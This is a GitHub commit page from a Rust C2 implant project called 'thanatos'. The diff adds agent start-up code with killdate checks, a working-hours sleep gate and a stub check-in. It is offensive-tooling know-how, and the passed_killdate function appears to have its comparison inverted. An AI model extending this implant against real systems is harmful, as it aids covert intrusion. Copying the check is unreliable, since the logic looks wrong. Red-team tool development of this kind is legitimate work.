Skip to content

Commit

Permalink
Modify agent initialization
Browse files Browse the repository at this point in the history
  • Loading branch information
MEhrn00 committed Aug 31, 2024
1 parent 835fc23 commit 8ac7691
Show file tree
Hide file tree
Showing 5 changed files with 69 additions and 25 deletions.
11 changes: 11 additions & 0 deletions Payload_Type/thanatos/agent/thanatos/core/src/agent/mod.rs
Original file line number Diff line number Diff line change
@@ -1,2 +1,13 @@
use thanatos_protos::config::Config;

use crate::errors;

pub struct Agent {}

impl Agent {
pub fn perform_checkin(agent_config: Config) -> Result<Agent, errors::ThanatosError> {
Ok(Agent {})
}

pub fn run(self) {}
}
53 changes: 40 additions & 13 deletions Payload_Type/thanatos/agent/thanatos/core/src/lib.rs
Original file line number Diff line number Diff line change
@@ -1,13 +1,19 @@
#![forbid(unsafe_code)]

use agent::Agent;
use chrono::{DateTime, TimeDelta};
use profiles::C2ProfileHandler;
use prost::Message;
use thanatos_protos::config::{config::Profile, Config, InitAction};
use timecheck::{check_working_hours, passed_killdate};

mod agent;
mod crypto;
mod errors;
mod guardrails;
mod logging;
mod system;
mod timecheck;

pub fn entrypoint(config: &[u8]) {
let agent_config = match thanatos_protos::config::Config::decode(config) {
Expand All @@ -22,15 +28,8 @@ pub fn entrypoint(config: &[u8]) {
return;
}

let t = system::time::epoch_timestamp();
let http_active = if let Some(Profile::Http(profile)) = agent_config.profile.as_ref() {
profile.killdate <= t
} else {
false
};

if !http_active {
log!("All profiles are past their killdates");
if !profiles_available(&agent_config) {
log!("All profiles have passed their killdates");
return;
}

Expand Down Expand Up @@ -59,8 +58,36 @@ pub fn entrypoint(config: &[u8]) {
}

fn run_agent(agent_config: Config) {
if let Some(working_hours) = agent_config.working_hours.as_ref() {}
std::thread::scope(|_scope| {
todo!();
});
if let Some(working_hours) = agent_config.working_hours.as_ref() {
let start_time = TimeDelta::minutes(working_hours.start.into());
let end_time = TimeDelta::minutes(working_hours.end.into());
if let Some(Ok(sleep_delta)) = check_working_hours(start_time, end_time).map(|v| v.to_std())
{
std::thread::sleep(sleep_delta);
if !profiles_available(&agent_config) {
log!("All profiles have passed their killdates");
return;
}
}
}

if let Ok(agent_instance) = Agent::perform_checkin(agent_config) {
agent_instance.run();
}
}

fn profiles_available(agent_config: &Config) -> bool {
let http_active = if let Some(Profile::Http(profile)) = agent_config.profile.as_ref() {
DateTime::from_timestamp(profile.killdate as i64, 0)
.map(|killdate| !passed_killdate(killdate))
.unwrap_or(false)
} else {
false
};

if !http_active {
false
} else {
true
}
}
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
pub mod os;
pub mod time;

#[cfg(target_os = "linux")]
pub use os::linux::*;
Expand Down
11 changes: 0 additions & 11 deletions Payload_Type/thanatos/agent/thanatos/core/src/system/time.rs

This file was deleted.

18 changes: 18 additions & 0 deletions Payload_Type/thanatos/agent/thanatos/core/src/timecheck/mod.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
use chrono::{DateTime, NaiveTime, TimeDelta, Utc};

#[inline]
pub fn passed_killdate(killdate: DateTime<Utc>) -> bool {
killdate >= Utc::now()
}

pub fn check_working_hours(start_time: TimeDelta, end_time: TimeDelta) -> Option<TimeDelta> {
let current_tod = Utc::now().time().signed_duration_since(NaiveTime::MIN);

if current_tod < start_time {
Some(start_time - current_tod)
} else if current_tod >= end_time {
Some(TimeDelta::days(1) - current_tod + start_time)
} else {
None
}
}

0 comments on commit 8ac7691

Please sign in to comment.